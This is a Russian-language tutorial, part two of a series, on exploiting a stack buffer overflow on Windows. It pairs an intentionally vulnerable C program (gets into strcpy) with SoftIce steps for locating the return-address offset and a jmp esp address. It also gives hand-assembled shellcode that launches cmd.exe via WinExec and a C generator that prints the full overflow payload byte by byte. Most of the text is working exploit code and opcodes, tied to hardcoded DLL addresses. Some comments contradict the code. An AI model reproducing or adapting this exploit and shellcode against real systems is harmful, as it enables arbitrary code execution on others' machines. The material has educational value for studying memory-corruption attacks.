InfoCity
InfoCity - виртуальный город компьютерной документации
Реклама на сайте







Размещение сквозной ссылки

 

Переполнения стека. Часть 2


Underground InformatioN Center


1. Header


В прошлой статье я выложил информацию общего плана, которая необходима для тех, кто услышал о эксплоитах впервые, а тем более никогда не вникал в основную идею. Теперь приступлю к изложению непосредственно практики, которая на самом деле и является воплощением предыдущей статьи.
Сразу хочу предупредить, что данный шелл не совершенен и максимально упрощен, к примеру вместо получения адреса необходимых функций с помощью пары LoadLibrary/GetProcAddress используются прямые ссылки, что локализирует действие данного шелла на те системы, на которых адреса, зашитые в шелл совпадут с реальными адресами функций в DLL. Очевидно от чего это зависит - если Windows загрузит DLL по другой базе, то шелл вылетит с сообщением типа вот такого:


...где 0х77е8898b адрес jmp esp в kernel32.dll в моей системе.
Поэтому в данном шелле подбор адресов должен производится чисто индивидуально для каждой системы. Далее я опишу как определять эти адреса. Зачем так стараться? ИМХО: это улучшит навыки любого кто самостоятельно найдет нужный адрес своим девайсом(то есть ручками). А вообще нужно действовать несколько иначе: для особо продвинутых подскажу идеи:
а) Использовать ссылки из таблицы импорта
б) Использовать LoadLibrary/GetProcAddress
Но эта тема будет обсуждаться в других статьях.
Начнем...

2. Sections


Пишем собственную прогу вида

"owerflow.c"
#include <stdio.h>
#include <string.h>
int test(char *big)
{
      char buffer[100];  // переполняемый буфер
      strcpy(buffer,big);// собственно само переполнение
      return 0;
}
int main ()
{
	char big[512];
	gets(big); // получение текствой строки-сюда-то мы 
				и передаем наш шелл
	test(big); // вызов уязвимой функции
    return 0;
}

В этом коде нет ничего сверхъестественного, а потому идем далее. Как определить, что переполняется, где переполняется и чего куда передавать?
Элементарно! Берем, запускаем нашу программу owerflow.exe(для танкистов - owerflow.exe получается путем компиляции owerflow.c ) и передаем ей строку вида:
Аааааа.........ааааааааа - где-то примерно символов 110 для уверенности. И что мы видим?


Доигрались - скажете вы. А на самом-то деле все отлично прошло, вы взорвали буфер и как результат(об этом я и упоминал в первой части), перезаписали адрес возврата из функции кодом 0х61(тоесть символом 'a'). А теперь я вас хочу спросить: кто мешает вам вместо бессмысленных строк символов передать строку опкодов, которая получила гордое название шелл-кода? Никто! При внимательном рассмотрении сложившейся ситуации под четким оком SoftIce, легко понять что произошло: благодаря специфике стека наша строка затерла собой как сохраненное значение ebp, так и адрес возврата. Обратите внимание, что адрес возврата затирается 104,105,106,107 символами нашей строки(это видно тогда, когда вместо ааа..аааа передется последовательность символов с ASCII кодами начиная с 32 по 256), поэтому необходимо сформировать строку так, чтобы 104-107 байты содержали адрес, по которому нужно передать управление. Теперь выясним это самый адрес, но сперва замечу, что байты с 100 по 103 перекрывают сохраненное значение EBP - это нам тоже пригодится для формирования стэка, но об этом позже. Посмотрев в SoftIce содержимое регистра esp в момент переполнения, легко установить, что там содержится адрес байта нашей строки, следующего за последним из четырех байтов, перекрывающих EIP. Сие означает следующее:


(*) - Символы, заполняющие буфер-приемник и потому не имеющие значения, их заполним NOP
(**) - Эти 4 байта начиная с N и заканчивая N+3 перекрывают собой EIP. Поэтому для корректного исполнения шелл-кода они должны содержать адрес, по которому размещается первый байт нашего шелла, либо адрес инструкции, переводящий процессор на исполнение этого первого байта.
(***) - Начиная с N+4 и до M идут опкоды, которые и составят наш шелл. С помощью SoftIce удалось установить, что нужный нам адрес перехода содержится в ESP после исполнения RET в вызываемой функции test -> если переполнить буфер при запущенном SoftIce, то во всплывшем окне отладчика нужно просто просмотреть значения регистров и командой D esp просмотреть содержимое памяти по адресу в esp, там мы увидим нашу строку начиная с N+4.

Отлично! Осталось заполнить строку, начиная со 108-позиции, опкодами и передать управление по адресу в esp. Для этого снова переполним программу при запущенном Sice и когда он всплывет введем команду:
:S 10000000 l ffffffff FF e4
где 10000000-ffffffff-диапазон поиска, а FF e4-опкод инструкции jmp esp
получим:
;Pattern found at xxxxxxxx <- этот адрес может отличаться(у меня он равен 77e98601, что соответствует ntdll.dll).
Мы определили адрес jmp esp-теперь мы передадим этот адрес в позиции 104-107 и получим, что при переполнении в eip будет помещен адрес инструкции jmp esp из ntdll.dll, которая и перебросит нас на 108-позицию нашей строки. Осталось эту самую строку наполнить опкодами. В качестве шелла обычно используют код, реализующий загрузку консоли(для виндов это аналогично окну Command Prompt). Для этого составим программу на C:

"winexec.c"
#include <windows.h>
typedef (*PFUNK)(char*,DWORD);
int main ()
{	
HMODULE hDll=LoadLibrary("kernel32.dll");
	PFUNK pFunc=(PFUNK) GetProcAddress(hDll,"WinExec");
	(*pFunc)("cmd.exe //K start cmd.exe",SW_SHOW);
}

WinExec исполняет программу, требует 2 параметра и располагается в kernel32.dll. Все это работает потому, что kernel32.dll использует любая программа и потому, что адрес не содержит нулевых байтов, наличие которых недопустимо. В переменной pFunc получим адрес WinExec, у каждого он будет свой. Теперь нам нужно сформировать асм-код, вызывающий WinExec. Вот он:

__asm {
	mov esp,ebp ;формируем пролог
	push ebp
	mov ebp,esp
	mov esi,esp
	xor edi,edi;формируем завершающие нули
	push edi
	sub esp,18h//освобождаем в стэке место под строку
	//стэк должен всегда быть выровнян на границу кратную 4
	//для обеспечения  гранулярности
	mov byte ptr [ebp-1ch],63h //'c'//пулим в стэк строку
	mov byte ptr [ebp-1bh],6Dh //'m'
	mov byte ptr [ebp-1ah],64h //'d'
	mov byte ptr [ebp-19h],2Eh //'.'
	mov byte ptr [ebp-18h],65h //'e'
	mov byte ptr [ebp-17h],78h //'x'
	mov byte ptr [ebp-16h],65h //'e'
	mov byte ptr [ebp-15h],20h //' '
	mov byte ptr [ebp-14h],2fh //'/'
	mov byte ptr [ebp-13h],4bh //'K'
	mov byte ptr [ebp-12h],20h //' '
	mov byte ptr [ebp-11h],73h //'s'
	mov byte ptr [ebp-10h],74h //'t'
	mov byte ptr [ebp-0fh],61h //'a'
	mov byte ptr [ebp-0eh],72h //'r'
	mov byte ptr [ebp-0dh],74h //'t'
	mov byte ptr [ebp-0ch],20h //' '
	mov byte ptr [ebp-0bh],63h //'c'
	mov byte ptr [ebp-0ah],6dh //'m'
	mov byte ptr [ebp-09h],64h //'d'
	mov byte ptr [ebp-08h],2Eh //'.'
	mov byte ptr [ebp-07h],65h //'e'
	mov byte ptr [ebp-06h],78h //'x'
	mov byte ptr [ebp-05h],65h //'e'
	//поместить в eax адрес winexec полученный из pFunc
	mov eax, 0x77e98601
	//поместить в стэк адрес winexec
	push eax
	//передаем параметр SW_SHOW
	push 05
	//передаем адрес строки
	lea eax,[ebp-1ch]
	push eax
	//ExitProcess в eax
	mov eax,0x77e9b0bb
	push eax //устанавливаем адрес возврата
	mov eax, 0x77e98601
	//перейти на точку входа  winexec
	jmp eax		}

Теперь стэк имеет такой вид:


Этот код проверялся в Visual C++6.0 и все работает отлично. Ну теперь осталось сформировать строку из опкодов. А где их взять? Да в том же Visual C++ Debugger. Просто при трассировке из контекстного меню выберите опцию Code Bytes при включенном Disassembly mode и вы получите необходимые опкоды. Осталось только собрать все воедино:

"overflower.c"
#include <stdio.h>
int  main()
{
	int i;
	char buf[256];
//ЗАПОЛНЯЕМ БУФЕР NOP
    for (i=0;i<100;i++)
		buf[i]=0x90;
	// Перекрыть ebp адресом начала нашего строкового буфера,
	// чтобы потом использовать его под стек, адрес передается
	// через xor чтобы затереть нули. Затем инструкцией
	// xor ebp,0xffffffff восстанавливаем первоначальный адрес
	buf[100]=0x3f;
	buf[101]=0x01;
	buf[102]=0xed;
	buf[103]=0xff;
	//поместить адрес инструкции jmp esp
	//расположенной в ntdll.dll по адресу 77f8948B
	//в те 4 байта которые перекрывают eip
	buf[104]=0x8b;
	buf[105]=0x94;//89;
	buf[106]=0xf8;//e8;
	buf[107]=0x77;
	
	buf[108]=0x90;
	//xor ebp,0xffffffff <-формируем министек для 
					последующего вызова winexec
	buf[109]=0x83;
	buf[110]=0xf5;
	buf[111]=0xff;
	//****************
	//mov esp,ebp
	buf[112]=0x8b;
	buf[113]=0xe5;
	//******************
	//push ebp
	buf[114]=0x55;
	//mov ebp,esp
	buf[115]=0x8b;
	buf[116]=0xec;
	//xor edi,edi
	buf[117]=0x33;
	buf[118]=0xff;
	//push edi
	buf[119]=0x57;
	//sub esp,18h
	buf[120]=0x83;
	buf[121]=0xec;
	buf[122]=0x18;
	//**********************************
	//создание строки на стеке         *
   	//mov byte ptr [ebp-19h],63h 'c'
	buf[123]=0xc6;
	buf[124]=0x45;
	buf[125]=0xe4;
	buf[126]=0x63;
	//mov byte ptr [ebp-18h],6dh 'm'
	buf[127]=0xc6;
	buf[128]=0x45;
	buf[129]=0xe5;
	buf[130]=0x6d;
	//mov byte ptr [ebp-17h],64h 'd'
	buf[131]=0xc6;
	buf[132]=0x45;
	buf[133]=0xe6;
	buf[134]=0x64;
	//mov byte ptr [ebp-16h],2eh '.'
	buf[135]=0xc6;
	buf[136]=0x45;
	buf[137]=0xe7;
	buf[138]=0x2e;
	//mov byte ptr [ebp-15h],65h 'e'
	buf[139]=0xc6;
	buf[140]=0x45;
	buf[141]=0xe8;
	buf[142]=0x65;
	//mov byte ptr [ebp-14h],78h 'x'
	buf[143]=0xc6;
	buf[144]=0x45;
	buf[145]=0xe9;
	buf[146]=0x78;
	//mov byte ptr [ebp-13h],65h 'e'
	buf[147]=0xc6;
	buf[148]=0x45;
	buf[149]=0xea;
	buf[150]=0x65;
	
	//mov byte ptr [ebp-12h],20h ' '
	buf[151]=0xc6;
	buf[152]=0x45;
	buf[153]=0xeb;
	buf[154]=0x20;
	
	//mov byte ptr [ebp-11h],2fh '/'
	buf[155]=0xc6;
	buf[156]=0x45;
	buf[157]=0xec;
	buf[158]=0x2f;
	//mov byte ptr [ebp-10h],4bh 'K'
	buf[159]=0xc6;
	buf[160]=0x45;
	buf[161]=0xed;
	buf[162]=0x4b;
	
	//mov byte ptr [ebp-0fh],20h ' '
	buf[163]=0xc6;
	buf[164]=0x45;
	buf[165]=0xee;
	buf[166]=0x20;
	
	//mov byte ptr [ebp-0eh],73h 's'
	buf[167]=0xc6;
	buf[168]=0x45;
	buf[169]=0xef;
	buf[170]=0x73;
	//mov byte ptr [ebp-0dh],74h 't'
	buf[171]=0xc6;
	buf[172]=0x45;
	buf[173]=0xf0;
	buf[174]=0x74;
	//mov byte ptr [ebp-0ch],61h 'a'
	buf[175]=0xc6;
	buf[176]=0x45;
	buf[177]=0xf1;
	buf[178]=0x61;
	//mov byte ptr [ebp-0bh],72h 'r'
	buf[179]=0xc6;
	buf[180]=0x45;
	buf[181]=0xf2;
	buf[182]=0x72;
	//mov byte ptr [ebp-0ah],74h 't'
	buf[183]=0xc6;
	buf[184]=0x45;
	buf[185]=0xf3;
	buf[186]=0x74;
	
	//mov byte ptr [ebp-9],20h ' '
	buf[187]=0xc6;
	buf[188]=0x45;
	buf[189]=0xf4;
	buf[190]=0x20;
	
	//mov byte ptr [ebp-8],63h 'c'
	buf[191]=0xc6;
	buf[192]=0x45;
	buf[193]=0xf5;
	buf[194]=0x63;
	//mov byte ptr [ebp-7],6dh 'm'
	buf[195]=0xc6;
	buf[196]=0x45;
	buf[197]=0xf6;
	buf[198]=0x6d;
	//mov byte ptr [ebp-6],64h 'd'
	buf[199]=0xc6;
	buf[200]=0x45;
	buf[201]=0xf7;
	buf[202]=0x64;
	//mov byte ptr [ebp-5],2eh '.'
	buf[203]=0xc6;
	buf[204]=0x45;
	buf[205]=0xf8;
	buf[206]=0x2e;
	//mov byte ptr [ebp-4],65h 'e'
	buf[207]=0xc6;
	buf[208]=0x45;
	buf[209]=0xf9;
	buf[210]=0x65;
	//mov byte ptr [ebp-3],78h 'x'
	buf[211]=0xc6;
	buf[212]=0x45;
	buf[213]=0xfa;
	buf[214]=0x78;
	//mov byte ptr [ebp-2],65h 'e'
	buf[215]=0xc6;
	buf[216]=0x45;
	buf[217]=0xfb;
	buf[218]=0x65;
	//*************************************
	//mov eax,77 e9 86 01h <-Winexec address
	buf[219]=0xb8;
	buf[220]=0x01;
	buf[221]=0x86;
	buf[222]=0xe9;
	buf[223]=0x77;
	//push eax
	buf[224]=0x50;
	
	//push 05 <-SW_SHOW_NORMAL
	buf[225]=0x6a;
	buf[226]=0x05;
	
	//lea eax,[ebp-1ch] <-адрес строки
	buf[227]=0x8d;
	buf[228]=0x45;
	buf[229]=0xe4;
	//push eax
	buf[230]=0x50;
	//эмулируем call dword ptr [ebp-0ch]
	//для этого формируем адрес возврата и пушим его
	//а затем просто джампим на eax в котором адрес аналог.[ebp-0ch]
	//таким образом прыгаем на winexec, которая возвращает
	//управление на ExitProcess
	
	//mov eax,0x77e8f32d <-ExitProcess
	buf[231]=0xb8;
	buf[232]=0x2d;
	buf[233]=0xf3;
	buf[234]=0xe8;
	buf[235]=0x77;
	//push eax <-сделать адресом возврата адрес переданный в eax
	buf[236]=0x50;
	//mov eax,0x77e8f32d <-WinExec address
	buf[237]=0xb8;
	buf[238]=0x01;
	buf[239]=0x86;
	buf[240]=0xe9;
	buf[241]=0x77;
	//jmp eax <-выполнить WinExec
	buf[242]=0xff;
	buf[243]=0xe0;
	//ПЕРЕДАТЬ СТРОКУ В ПЕРЕПОЛНЯЕМЫЙ БУФЕР
	for(i=0;i<256;i++)
	{
		printf("%c",buf[i]);
	}


}

Ну вот вроде и все. Единственное: добавлю про ebp - этот регистр играет важную роль в нашем нелегком деле. Нужно где-то формировать стэк, но где? А почему не использовать под стэк наш буфер, заполненный NOP? Так и забилдим, под SoftIce посмотрим содержимое ESP и отнимем от него 64h либо зададим искать строку 0х9090909090 - кто как желает, главное найти адрес начала буфера. Затем этот адрес поместим в EBP (помните в начале я акцентировал внимание на том, что байты с 100 по 103 перекрывают ebp - ну так и поместим найденный адрес в эти байты предварительно удалив из него нули). А как? Да очень просто - сделать Исключающее ИЛИ в терминах булевой алгебры, либо по-простому XOR. Тоесть иксорим начальный адрес, передаем в ebp, а затем в шелле снова делаем XOR EBP,0xFFFFFFFF и все! Теперь у нас есть стек.
Недостатками данного шелла являются прямые ссылки на функции, возможно я поправлю эти фичи и запортирую новый шелл, гораздо более универсальный.


Реклама на InfoCity

Яндекс цитирования



Финансы: форекс для тебя








1999-2009 © InfoCity.kiev.ua